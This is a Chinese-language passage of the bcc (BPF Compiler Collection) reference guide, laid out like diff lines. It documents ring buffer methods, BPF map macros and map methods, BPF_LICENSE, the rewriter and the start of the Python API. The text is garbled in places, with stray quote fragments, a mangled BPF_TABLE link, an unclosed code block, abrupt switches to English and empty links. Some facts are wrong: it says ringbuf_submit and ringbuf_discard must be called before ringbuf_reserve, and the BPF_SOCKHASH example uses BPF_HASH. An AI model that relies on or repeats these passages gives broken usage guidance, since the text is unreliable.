-BPF_RINGBUF_OUTPUT表的方法,用于将自定义事件数据提交到用户态。必须在调用```ringbuf_reserve()```之前调用,以为数据预留空间。 - -现场示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=ringbuf_submit+path%3Aexamples&type=Code), - -### 9. ringbuf_discard() - -语法: ```void ringbuf_discard((void *)data, u64 flags)``` - -返回值: 无,始终成功 - -标志: - -- ```BPF_RB_NO_WAKEUP```: 不发送新数据可用的通知 -- ```BPF_RB_FORCE_WAKEUP```: 无条件发送新数据可用的通知 - -BPF_RINGBUF_OUTPUT表的方法,用于丢弃自定义事件数据;用户空间将忽略与丢弃事件相关联的数据。必须在调用```ringbuf_reserve()```之前调用,以为数据预留空间。 - -现场示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=ringbuf_submit+path%3Aexamples&type=Code), - -## Maps - -Maps是BPF数据存储,是更高级对象类型(包括表、哈希和直方图)的基础。 - -### 1. BPF_TABLE - -语法: ```BPF_TABLE(_table_type,_key_type, _leaf_type,_name, _max_entries)``` - -创建名为```_name```的映射。大多数情况下,这将通过更高级的宏(如BPF_HASH、BPF_ARRAY、BPF_HISTOGRAM等)使用。 - -`BPF_F_TABLE`是一个变体,最后一个参数采用标志。`BPF_TABLE(https://github.com/iovisor/bcc/tree/master.)`实际上是`BPF_F_TABLE(., 0 /*flag*/)```的包装。 - -方法(稍后讨论):map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。 - -现场示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=BPF_TABLE+path%3Aexamples&type=Code),"[搜索 /工具](https://github.com/iovisor/bcc/search?q=BPF_TABLE+path%3Atools&type=Code) - -#### 固定映射 - -语法: ```BPF_TABLE_PINNED(_table_type,_key_type, _leaf_type,_name, _max_entries, "/sys/fs/bpf/xyz")``` - -如果映射不存在,则创建一个新的映射并将其固定到bpffs作为文件;否则使用已固定到bpffs的映射。类型信息不强制执行,实际的映射类型取决于固定到位置的映射。 - -例如: - -```C -BPF_TABLE_PINNED("hash", u64, u64, ids, 1024, "/sys/fs/bpf/ids"); -``` - -### 2. BPF_HASH - -语法: ```BPF_HASH(name [, key_type [, leaf_type [, size]]])``` - -创建一个哈希映射(关联数组),名称为```name```,具有可选参数。 - -默认值: ```BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240)``` - -例如: - -```C -BPF_HASH(start, struct request *); -``` - -这将创建一个名为```start```的哈希,其中关键字为```struct request *```,值默认为u64。此哈希由disksnoop.py示例用于保存每个I/O请求的时间戳,其中关键字是指向struct request的指针,而值是时间戳。 - -这是`BPF_TABLE("hash", ...)`的包装宏。 - -方法(稍后涵盖):map.lookup(),map.lookup_or_try_init(),map.delete(),map.update(),map.insert(),map.increment()。 - -示例中的原位置链接:[搜索 /示例](https://github.com/iovisor/bcc/search?q=BPF_HASH+path%3Aexamples&type=Code), -[搜索 /工具](https://github.com/iovisor/bcc/search?q=BPF_HASH+path%3Atools&type=Code) - -### 3. BPF_ARRAY - -语法: ```BPF_ARRAY(name [, leaf_type [, size]])``` - -创建一个以整数索引的数组,最快速的查找和更新为优化,名称为```name```,具有可选参数。 - -默认值: ```BPF_ARRAY(name, leaf_type=u64, size=10240)``` - -例如: - -```C -BPF_ARRAY(counts, u64, 32); -``` - -这将创建一个名为```counts```的数组,其中有32个存储桶和64位整数值。funccount.py示例使用此数组保存每个函数的调用计数。".这是一个 `BPF_TABLE("array", ...)` 的包装宏。 - -方法(稍后介绍):map.lookup()、map.update()、map.increment()。注意,所有数组元素都预先分配为零值,无法删除。 - -在当前位置的示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=BPF_ARRAY+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=BPF_ARRAY+path%3Atools&type=Code) - -### 4. BPF_HISTOGRAM - -语法:```BPF_HISTOGRAM(name [, key_type [, size ]])``` - -创建一个名为 ```name``` 的直方图映射,包含可选参数。 - -默认值:```BPF_HISTOGRAM(name, key_type=int, size=64)``` - -例如: - -```C -BPF_HISTOGRAM(dist); -``` - -这创建了一个名为 ```dist``` 的直方图,默认有 64 个桶,以 int 类型的键索引。 - -这是一个 `BPF_TABLE("histgram", ...)` 的包装宏。 - -方法(稍后介绍):map.increment()。 - -在当前位置的示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=BPF_HISTOGRAM+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=BPF_HISTOGRAM+path%3Atools&type=Code) - -### 5. BPF_STACK_TRACE - -语法:```BPF_STACK_TRACE(name, max_entries)``` - -创建一个名为 ```name``` 的堆栈跟踪映射,提供最大条目数。这些映射用于存储堆栈跟踪。 - -例如: - -```C -BPF_STACK_TRACE(stack_traces, 1024); -``` - -这创建了一个名为 ```stack_traces``` 的堆栈跟踪映射,最大堆栈跟踪条目数为 1024。 - -这是一个 `BPF_TABLE("stacktrace", ...)` 的包装宏。 - -方法(稍后介绍):map.get_stackid()。 - -在当前位置的示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=BPF_STACK_TRACE+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=BPF_STACK_TRACE+path%3Atools&type=Code) - -### 6. BPF_PERF_ARRAY - -语法:```BPF_PERF_ARRAY(name, max_entries)``` - -创建一个名为 ```name``` 的 perf 数组,提供最大条目数,该数必须等于系统 CPU 的数量。这些映射用于获取硬件性能计数器。例如: - -```C -text=""" -BPF_PERF_ARRAY(cpu_cycles, NUM_CPUS); -""" -b = bcc.BPF(text=text, cflags=["-DNUM_CPUS=%d" % multiprocessing.cpu_count()]) -b["cpu_cycles"].open_perf_event(b["cpu_cycles"].HW_CPU_CYCLES) -``` - -这将创建一个名为```cpu_cycles```的性能数组,条目数量等于CPU核心数。该数组被配置为,稍后调用```map.perf_read()```将返回从过去某一时刻开始计算的硬件计数器的周期数。每个表只能配置一种类型的硬件计数器。 - -方法(稍后介绍):```map.perf_read()```。 - -现场示例: -[搜索 /tests](https://github.com/iovisor/bcc/search?q=BPF_PERF_ARRAY+path%3Atests&type=Code) - -### 7. BPF_PERCPU_HASH - -语法:```BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]])``` - -创建NUM_CPU个以int索引的哈希映射(关联数组),名为```name```,具有可选参数。每个CPU都会有一个单独的该数组副本。这些副本不以任何方式进行同步。 - -请注意,由于内核中定义的限制(位于linux/mm/percpu.c中),```leaf_type```的大小不能超过32KB。 -换句话说,```BPF_PERCPU_HASH```元素的大小不能超过32KB。 - -默认值:```BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240)``` - -例如: - -```C -BPF_PERCPU_HASH(start, struct request *); -``` - -这将创建名为```start```的NUM_CPU个哈希,其中键为```struct request *```,值默认为u64。 - -这是对```BPF_TABLE("percpu_hash", ...)```的包装宏。 - -方法(稍后介绍):```map.lookup()```、```map.lookup_or_try_init()```、```map.delete()```、```map.update()```、```map.insert()```、```map.increment()```。 - -现场示例: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF_PERCPU_HASH+path%3Aexamples&type=Code), -[搜索 /tools](https://github.com/iovisor/bcc/search?q=BPF_PERCPU_HASH+path%3Atools&type=Code) - -### 8. BPF_PERCPU_ARRAY - -语法:```BPF_PERCPU_ARRAY(name [, leaf_type [, size]])```。创建```name```的NUM_CPU个按整数索引优化的数组,以实现最快的查找和更新,具有可选参数。每个CPU都会有一个单独的副本。这些副本不能以任何方式同步。 - -请注意,由于内核(在linux/mm/percpu.c中)定义的限制,```leaf_type```的大小不能超过32KB。 -换句话说,```BPF_PERCPU_ARRAY```元素的大小不能超过32KB。 - -默认值:```BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240)``` - -例如: - -```C -BPF_PERCPU_ARRAY(counts, u64, 32); -``` - -这将创建NUM_CPU个名为```counts```的数组,其中每个数组有32个桶和64位整数值。 - -这是```BPF_TABLE("percpu_array", ...)```的包装宏。 - -方法(稍后介绍):map.lookup(),map.update(),map.increment()。请注意,所有数组元素都预先分配为零值,并且不能被删除。 - -In situ示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=BPF_PERCPU_ARRAY+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=BPF_PERCPU_ARRAY+path%3Atools&type=Code) - -### 9. BPF_LPM_TRIE - -语法:```BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]])``` - -创建一个名为```name```的最长前缀匹配字典树映射,带有可选参数。 - -默认值:```BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240)``` - -例如: - -```c -BPF_LPM_TRIE(trie, struct key_v6); -``` - -这将创建一个名为```trie```的LPM字典树映射,其中键是```struct key_v6```,值默认为u64。 - -这是一个对```BPF_F_TABLE("lpm_trie", ..., BPF_F_NO_PREALLOC)```的包装宏。 - -方法(稍后介绍):map.lookup(),map.lookup_or_try_init(),map.delete(),map.update(),map.insert(),map.increment()。 - -In situ示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=BPF_LPM_TRIE+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=BPF_LPM_TRIE+path%3Atools&type=Code) - -### 10. BPF_PROG_ARRAY - -语法:```BPF_PROG_ARRAY(name, size)```。创建一个名为 ```name``` 的程序数组,其中包含 ```size``` 个条目。数组的每个条目要么是指向一个 bpf 程序的文件描述符,要么是 ```NULL```。该数组作为一个跳转表,以便 bpf 程序可以“尾调用”其他 bpf 程序。 - -这是一个 ```BPF_TABLE("prog", ...)``` 的包装宏。 - -方法(稍后介绍):map.call()。 - -实时示例: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF_PROG_ARRAY+path%3Aexamples&type=Code), -[搜索 /tests](https://github.com/iovisor/bcc/search?q=BPF_PROG_ARRAY+path%3Atests&type=Code), -[分配 fd](https://github.com/iovisor/bcc/blob/master/examples/networking/tunnel_monitor/monitor.py#L24-L26) - -### 11. BPF_DEVMAP - -语法:```BPF_DEVMAP(name, size)``` - -这创建了一个名为 ```name``` 的设备映射,其中包含 ```size``` 个条目。映射的每个条目都是一个网络接口的 `ifindex`。此映射仅在 XDP 中使用。 - -例如: - -```C -BPF_DEVMAP(devmap, 10); -``` - -方法(稍后介绍):map.redirect_map()。 - -实时示例: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF_DEVMAP+path%3Aexamples&type=Code), - -### 12. BPF_CPUMAP - -语法:```BPF_CPUMAP(name, size)``` - -这创建了一个名为 ```name``` 的 CPU 映射,其中包含 ```size``` 个条目。映射的索引表示 CPU 的 ID,每个条目是为 CPU 分配的环形缓冲区的大小。此映射仅在 XDP 中使用。 - -例如: - -```C -BPF_CPUMAP(cpumap, 16); -``` - -方法(稍后介绍):map.redirect_map()。 - -实时示例: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF_CPUMAP+path%3Aexamples&type=Code), - -### 13. BPF_XSKMAP - -语法:```BPF_XSKMAP(name, size [, "/sys/fs/bpf/xyz"])```。这将创建一个名为```name```的xsk映射,带有```size```个条目,并将其固定到bpffs作为一个文件。每个条目表示一个NIC的队列ID。该映射仅在XDP中用于将数据包重定向到AF_XDP套接字。如果AF_XDP套接字绑定到与当前数据包的队列ID不同的队列,则数据包将被丢弃。对于内核v5.3及更高版本,“lookup”方法可用于检查当前数据包的队列ID是否可用于AF_XDP套接字。有关详细信息,请参阅[AF_XDP](https://www.kernel.org/doc/html/latest/networking/af_xdp.html)。 - -例如: - -```C -BPF_XSKMAP(xsks_map, 8); -``` - -方法(稍后涵盖):map.redirect_map()。map.lookup() - -现场示例: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_XSKMAP+path%3Aexamples&type=Code), - -### 14. BPF_ARRAY_OF_MAPS - -语法:```BPF_ARRAY_OF_MAPS(name, inner_map_name, size)``` - -这将创建一个带有映射内部类型(BPF_MAP_TYPE_HASH_OF_MAPS)的数组映射,名称为```name```,包含```size```个条目。映射的内部元数据由映射```inner_map_name```提供,可以是除了```BPF_MAP_TYPE_PROG_ARRAY```、```BPF_MAP_TYPE_CGROUP_STORAGE```和```BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE```之外的大多数数组或哈希映射。 - -例如: - -```C -BPF_TABLE("hash", int, int, ex1, 1024); -BPF_TABLE("hash", int, int, ex2, 1024); -BPF_ARRAY_OF_MAPS(maps_array, "ex1", 10); -``` - -### 15. BPF_HASH_OF_MAPS - -语法:```BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size)``` - -这将创建一个带有映射内部类型(BPF_MAP_TYPE_HASH_OF_MAPS)的哈希映射,名称为```name```,包含```size```个条目。映射的内部元数据由映射```inner_map_name```提供,可以是除了```BPF_MAP_TYPE_PROG_ARRAY```、```BPF_MAP_TYPE_CGROUP_STORAGE```和```BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE```之外的大多数数组或哈希映射。 - -例如: - -```C -BPF_ARRAY(ex1, int, 1024); -BPF_ARRAY(ex2, int, 1024); -BPF_HASH_OF_MAPS(maps_hash, struct custom_key, "ex1", 10); -``` - -### 16. BPF_STACK - -语法:```BPF_STACK(name, leaf_type, max_entries[, flags])```。创建一个名为 `name` 的堆栈,其值类型为 `leaf_type`,最大条目数为 `max_entries`。 -堆栈和队列映射仅适用于 Linux 4.20+。 - -例如: - -```C -BPF_STACK(stack, struct event, 10240); -``` - -这将创建一个名为 `stack` 的堆栈,其值类型为 `struct event`,最多可容纳 10240 个条目。 - -方法(后面会涉及):map.push()、map.pop()、map.peek()。 - -示例: - -在 [search /tests](https://github.com/iovisor/bcc/search?q=BPF_STACK+path%3Atests&type=Code) 中。 - -### 17. BPF_QUEUE - -语法:```BPF_QUEUE(name, leaf_type, max_entries[, flags])``` - -创建一个名为 `name` 的队列,其值类型为 `leaf_type`,最大条目数为 `max_entries`。 -堆栈和队列映射仅适用于 Linux 4.20+。 - -例如: - -```C -BPF_QUEUE(queue, struct event, 10240); -``` - -这将创建一个名为 `queue` 的队列,其值类型为 `struct event`,最多可容纳 10240 个条目。 - -方法(后面会涉及):map.push()、map.pop()、map.peek()。 - -示例: - -在 [search /tests](https://github.com/iovisor/bcc/search?q=BPF_QUEUE+path%3Atests&type=Code) 中。 - -### 18. BPF_SOCKHASH - -语法:```BPF_SOCKHASH(name[, key_type [, max_entries)``` - -创建一个名为 `name` 的哈希,带有可选参数。sockhash仅适用于Linux 4.18+。 - -默认值:```BPF_SOCKHASH(name, key_type=u32, max_entries=10240)``` - -例如: - -```C -struct sock_key { - u32 remote_ip4; - u32 local_ip4; - u32 remote_port; - u32 local_port; -}; -BPF_HASH(skh, struct sock_key, 65535); -``` - -这将创建一个名为 `skh` 的哈希表,其中键是 `struct sock_key`。 - -sockhash是一种BPF映射类型,它保存对sock结构体的引用。然后,通过使用新的sk/msg重定向BPF辅助函数,BPF程序可以使用该映射在套接字之间重定向skbs/msgs(`map.sk_redirect_hash()/map.msg_redirect_hash()`)。```BPF_SOCKHASH```和```BPF_SOCKMAP```的区别在于```BPF_SOCKMAP```是基于数组实现的,并且强制键为四个字节。 -而```BPF_SOCKHASH```是基于哈希表实现的,并且键的类型可以自由指定。 - -方法(稍后介绍):map.sock_hash_update(),map.msg_redirect_hash(),map.sk_redirect_hash()。 - -[搜索/tests](https://github.com/iovisor/bcc/search?q=BPF_SOCKHASH+path%3Atests&type=Code) - -### 19. map.lookup() - -语法:```*val map.lookup(&key)``` - -在映射中查找键,如果存在则返回指向其值的指针,否则返回NULL。我们将键作为指针的地址传入。 - -示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=lookup+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=lookup+path%3Atools&type=Code) - -### 20. map.lookup_or_try_init() - -语法:```*val map.lookup_or_try_init(&key, &zero)``` - -在映射中查找键,如果存在则返回指向其值的指针,否则将键的值初始化为第二个参数。通常用于将值初始化为零。如果无法插入键(例如映射已满),则返回NULL。 - -示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=lookup_or_try_init+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=lookup_or_try_init+path%3Atools&type=Code) - -注意:旧的map.lookup_or_init()可能导致函数返回,因此建议使用lookup_or_try_init(),它没有这种副作用。 - -### 21. map.delete() - -语法:```map.delete(&key)``` - -从哈希表中删除键。 - -示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=delete+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=delete+path%3Atools&type=Code) - -### 22. map.update() - -语法:```map.update(&key, &val)``` - -将第二个参数中的值与键关联,覆盖任何先前的值。 - -示例:"[搜索/examples](https://github.com/iovisor/bcc/search?q=update+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=update+path%3Atools&type=Code) - -### 23. map.insert() - -语法: ```map.insert(&key, &val)``` - -将第二个参数中的值与键相关联,仅在之前没有值的情况下。 - -现场示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=insert+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=insert+path%3Atools&type=Code) - -### 24. map.increment() - -语法: ```map.increment(key[, increment_amount])``` - -通过 `increment_amount`(默认为1)增加键的值。用于柱状图。 - -```map.increment()```不是原子操作。在并发情况下,如果要获得更准确的结果,请使用 ```map.atomic_increment()``` 而不是 ```map.increment()```。```map.increment()``` 和 ```map.atomic_increment()``` 的开销相似。 - -注意. 当使用 ```map.atomic_increment()``` 操作类型为 ```BPF_MAP_TYPE_HASH``` 的 BPF map 时,如果指定的键不存在,则 ```map.atomic_increment()``` 无法保证操作的原子性。 - -现场示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=increment+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=increment+path%3Atools&type=Code) - -### 25. map.get_stackid() - -语法: ```int map.get_stackid(void *ctx, u64 flags)``` - -这会遍历在 ```ctx``` 中找到的 struct pt_regs 中的堆栈,将其保存在堆栈跟踪 map 中,并返回一个唯一的堆栈跟踪 ID。 - -现场示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=get_stackid+path%3Aexamples&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=get_stackid+path%3Atools&type=Code) - -### 26. map.perf_read() - -语法: ```u64 map.perf_read(u32 cpu)``` - -现场示例:""[搜索/tests](https://github.com/iovisor/bcc/search?q=perf_read+path%3Atests&type=Code) - -### 27. map.call() - -语法:```void map.call(void *ctx, int index)``` - -这将调用```bpf_tail_call()```来尾调用[BPF_PROG_ARRAY](#10-bpf_prog_array)中指向```index```入口的bpf程序。尾调用与普通调用不同。它在跳转到另一个bpf程序后重用当前的栈帧,并且不会返回。如果```index```入口为空,它将不会跳转到任何地方,程序的执行将会继续进行。 - -例如: - -```C -BPF_PROG_ARRAY(prog_array, 10); - -int tail_call(void *ctx) { - bpf_trace_printk("尾调用\n"); - return 0; -} - -int do_tail_call(void *ctx) { - bpf_trace_printk("原始的程序\n"); - prog_array.call(ctx, 2); - return 0; -} -``` - -```Python -b = BPF(src_file="example.c") -tail_fn = b.load_func("tail_call", BPF.KPROBE) -prog_array = b.get_table("prog_array") -prog_array[c_int(2)] = c_int(tail_fn.fd) -b.attach_kprobe(event="some_kprobe_event", fn_name="do_tail_call") -``` - -这将```tail_call()```分配给```prog_array[2]```。在```do_tail_call()```的最后,```prog_array.call(ctx, 2)```尾调用```tail_call()```并执行它。 - -**注意:**为了防止无限循环,尾调用的最大数量是32([```MAX_TAIL_CALL_CNT```](https://github.com/torvalds/linux/search?l=C&q=MAX_TAIL_CALL_CNT+path%3Ainclude%2Flinux&type=Code))。 - -在现场示例中: -[搜索/examples](https://github.com/iovisor/bcc/search?l=C&q=call+path%3Aexamples&type=Code), -[搜索/tests](https://github.com/iovisor/bcc/search?l=C&q=call+path%3Atests&type=Code) - -### 28. map.redirect_map() - -语法:```int map.redirect_map(int index, int flags)```".这将根据 ```index``` 条目重定向传入的数据包。如果映射是 [BPF_DEVMAP](#11-bpf_devmap),数据包将被发送到该条目指向的网络接口的传输队列。如果映射是 [BPF_CPUMAP](#12-bpf_cpumap),数据包将被发送到```index``` CPU的环形缓冲区,并稍后由CPU处理。如果映射是 [BPF_XSKMAP](#13-bpf_xskmap),数据包将被发送到连接到队列的 AF_XDP 套接字。 - -如果数据包成功被重定向,该函数将返回 XDP_REDIRECT。否则,将返回 XDP_ABORTED 以丢弃该数据包。 - -例如: - -```C -BPF_DEVMAP(devmap, 1); - -int redirect_example(struct xdp_md *ctx) { - return devmap.redirect_map(0, 0); -} -int xdp_dummy(struct xdp_md *ctx) { - return XDP_PASS; -} -``` - -```Python -ip = pyroute2.IPRoute() -idx = ip.link_lookup(ifname="eth1")[0] - -b = bcc.BPF(src_file="example.c") - -devmap = b.get_table("devmap") -devmap[c_uint32(0)] = c_int(idx) - -in_fn = b.load_func("redirect_example", BPF.XDP) -out_fn = b.load_func("xdp_dummy", BPF.XDP) -b.attach_xdp("eth0", in_fn, 0) -b.attach_xdp("eth1", out_fn, 0) -``` - -示例位置: -[搜索 /examples](https://github.com/iovisor/bcc/search?l=C&q=redirect_map+path%3Aexamples&type=Code), - -### 29. map.push() - -语法:```int map.push(&val, int flags)``` - -将元素推入堆栈或队列表。将 BPF_EXIST 作为标志传递会导致队列或堆栈在已满时丢弃最旧的元素。成功返回0,失败返回负错误值。 - -示例位置: -[搜索 /tests](https://github.com/iovisor/bcc/search?q=push+path%3Atests&type=Code), - -### 30. map.pop() - -语法:```int map.pop(&val)``` - -从堆栈或队列表中弹出一个元素。```*val```被填充为结果。与查看不同,弹出操作会移除该元素。成功返回0,失败返回负错误值。 - -示例位置: -[搜索 /tests](https://github.com/iovisor/bcc/search?q=pop+path%3Atests&type=Code), - -### 31. map.peek() - -语法:```int map.peek(&val)```查看堆栈或队列表头的元素。```*val```将被结果填充。 -与弹出不同,查看不会删除元素。 -成功返回0,失败返回负错误。 - -实例: -[搜索/tests](https://github.com/iovisor/bcc/search?q=peek+path%3Atests&type=Code) - -### 32. map.sock_hash_update() - -语法:```int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags)``` - -向sockhash映射添加条目或更新条目。skops用作与键相关联的条目的新值。flags为以下之一: - -```sh -BPF_NOEXIST:映射中不得存在key的条目。 -BPF_EXIST:映射中必须已存在key的条目。 -BPF_ANY:对于key的条目是否存在,没有条件。 -``` - -如果映射具有eBPF程序(解析器和判决器),则这些程序将被添加的套接字继承。如果套接字已经附加到eBPF程序,则会出错。 - -成功返回0,失败返回负错误。 - -实例: -[搜索/tests](https://github.com/iovisor/bcc/search?q=sock_hash_update+path%3Atests&type=Code) - -### 33. map.msg_redirect_hash() - -语法:```int map.msg_redirect_hash(struct sk_msg_buff *msg, void*key, u64 flags)``` - -该辅助程序用于在套接字级别实施策略的程序中。如果消息msg被允许通过(即判决eBPF程序返回SK_PASS),则使用哈希键将其重定向到映射引用的套接字(类型为BPF_MAP_TYPE_SOCKHASH)。可以使用入站和出站接口进行重定向。标志中的BPF_F_INGRESS值用于区分(如果存在该标志,则选择入站路径,否则选择出站路径)。目前,这是唯一支持的标志。 - -成功返回SK_PASS,发生错误返回SK_DROP。 - -实例: -[搜索/tests](https://github.com/iovisor/bcc/search?q=msg_redirect_hash+path%3Atests&type=Code) - -### 34. map.sk_redirect_hash() - -语法:```int map.sk_redirect_hash(struct sk_buff *skb, void*key, u64 flags)```".This helper is used in programs implementing policies at the skb socket level. -If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. -Both ingress and egress interfaces can be used for redirection. -The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise). -This is the only flag supported for now. - -Return SK_PASS on success, or SK_DROP on error. - -Examples in situ: -\[搜索/tests\]\(), - -## 许可证 - -Depending on which \[BPF helpers\]\(kernel-versions.md#helpers\) are used, a GPL-compatible license is required. - -The special BCC macro `BPF_LICENSE` specifies the license of the BPF program. -You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically. -If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it: - -```C -// SPDX-License-Identifier: GPL-2.0+ -#define BPF_LICENSE GPL -``` - -Otherwise, the kernel may reject loading your program (see the \[错误描述\](#2-cannot-call-gpl-only-function-from-proprietary-program) below). -Note that it supports multiple words and quotes are not necessary: - -```C -// SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause -#define BPF_LICENSE Dual BSD/GPL -``` - -Check the \[BPF helpers reference\]\(kernel-versions.md#helpers\) to see which helpers are GPL-only and what the kernel understands as GPL-compatible. - -**If the macro is not specified, BCC will automatically define the license of the program as GPL.** - -## Rewriter - -一个重写器的工作是使用内核辅助程序将隐式内存访问转换为显式内存访问。最近的内核引入了一个配置选项ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE,该选项将被设置为使用用户地址空间和内核地址空间不重叠的体系结构。x86和arm设置了这个配置选项,而s390没有。如果没有设置ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE,bpf旧帮助函数`bpf_probe_read()`将不可用。一些现有的用户可能有隐式内存访问来访问用户内存,所以使用`bpf_probe_read_kernel()`会导致他们的应用程序失败。因此,对于非s390,重写器将对这些隐式内存访问使用`bpf_probe_read()`。对于s390,默认使用`bpf_probe_read_kernel()`,用户在访问用户内存时应显式使用`bpf_probe_read_user()` - -# bcc Python - -## 初始化 - -构造函数。 - -### 1. BPF - -语法: ```BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int])``` - -创建一个BPF对象。这是定义BPF程序并与其输出交互的主要对象。 - -必须提供`text`或`src_file`之一,不能两者都提供。 - -`cflags`指定要传递给编译器的额外参数,例如`-DMACRO_NAME=value`或`-I/include/path`。参数以数组形式传递,每个元素为一个额外的参数。注意,字符串不会按空格拆分,所以每个参数必须是数组的不同元素,例如`["-include", "header.h"]`。 - -`debug`标志控制调试输出,可以使用或运算: - -- `DEBUG_LLVM_IR = 0x1` 编译后的LLVM IR -- `DEBUG_BPF = 0x2` 加载的BPF字节码和分支时的寄存器状态 -- `DEBUG_PREPROCESSOR = 0x4` 预处理器的结果 -- `DEBUG_SOURCE = 0x8` 嵌入源码的ASM指令 -- `DEBUG_BPF_REGISTER_STATE = 0x10` 所有指令的寄存器状态,额外打印DEBUG_BPF的信息 -- `DEBUG_BTF = 0x20` 打印来自`libbpf`库的消息。 - -示例: - -```Python"# 定义整个BPF程序在一行中: -BPF(text='int do_trace(void *ctx) { bpf_trace_printk("命中!\\n"); return 0; }'); - -# 定义程序为一个变量: -prog = """ -int hello(void *ctx) { - bpf_trace_printk("你好,世界!\\n"); - return 0; -} -""" -b = BPF(text=prog) - -# 源文件: -b = BPF(src_file = "vfsreadlat.c") - -# 包括一个USDT对象: -u = USDT(pid=int(pid)) -[...] -b = BPF(text=bpf_text, usdt_contexts=[u]) - -# 添加包含路径: -u = BPF(text=prog, cflags=["-I/path/to/include"]) - - -在原地的示例: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF+path%3Aexamples+language%3Apython&type=Code), -[搜索 /tools](https://github.com/iovisor/bcc/search?q=BPF+path%3Atools+language%3Apython&type=Code) - -### 2. USDT - -语法: ```USDT({pid=pid | path=path})``` - -创建一个对象以检测用户静态定义的跟踪(USDT)探针。它的主要方法是```enable_probe()```。 - -参数: - -- pid: 附加到该进程ID。 -- path: 从此二进制路径检测USDT探针。 - -示例: - -```Python -# 包括一个USDT对象: -u = USDT(pid=int(pid)) -[...] -b = BPF(text=bpf_text, usdt_contexts=[u]) -``` - -在原地的示例: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=USDT+path%3Aexamples+language%3Apython&type=Code), -[搜索 /tools](https://github.com/iovisor/bcc/search?q=USDT+path%3Atools+language%3Apython&type=Code) - -## 事件 - -### 1. attach_kprobe() - -语法: ```BPF.attach_kprobe(event="event", fn_name="name")``` - -通过内核动态跟踪函数入口,来检测内核函数```event()```,并将我们的C定义的函数```name()```附加到每次调用内核函数时被调用。 - -例如: - -```Python -b.attach_kprobe(event="sys_clone", fn_name="do_trace") -``` - -这将检测内核```sys_clone()```函数,并在每次调用时运行我们定义的BPF函数```do_trace()```。 - -您可以多次调用attach_kprobe(),并将您的BPF函数附加到多个内核函数上。您也可以多次调用attach_kprobe()函数将多个BPF函数附加到同一个内核函数。 - -有关如何从BPF中提取参数的详细信息,请参阅前面的kprobes部分。 - -示例: -[查找/examples](https://github.com/iovisor/bcc/search?q=attach_kprobe+path%3Aexamples+language%3Apython&type=Code), -[查找/tools](https://github.com/iovisor/bcc/search?q=attach_kprobe+path%3Atools+language%3Apython&type=Code) - -### 2. attach_kretprobe() - -语法:BPF.attach_kretprobe(event="事件", fn_name="名称" [, maxactive=int]) - -使用内核动态跟踪函数返回来检测内核函数event()的返回,并附加我们定义的C函数name()在内核函数返回时调用。 - -例如: - -```Python -b.attach_kretprobe(event="vfs_read", fn_name="do_return") -``` - -这将检测内核的vfs_read()函数,每次调用该函数时都会执行我们定义的BPF函数do_return()。 - -您可以多次调用attach_kretprobe()函数,并将您的BPF函数附加到多个内核函数的返回值。 -您也可以多次调用attach_kretprobe()函数将多个BPF函数附加到同一个内核函数的返回值。 - -当在内核函数上安装kretprobe时,它可以捕获的并行调用次数存在限制。您可以使用maxactive参数更改该限制。有关默认值,请参阅kprobes文档。 - -有关如何从BPF中提取返回值的详细信息,请参阅前面的kretprobes部分。 - -示例: 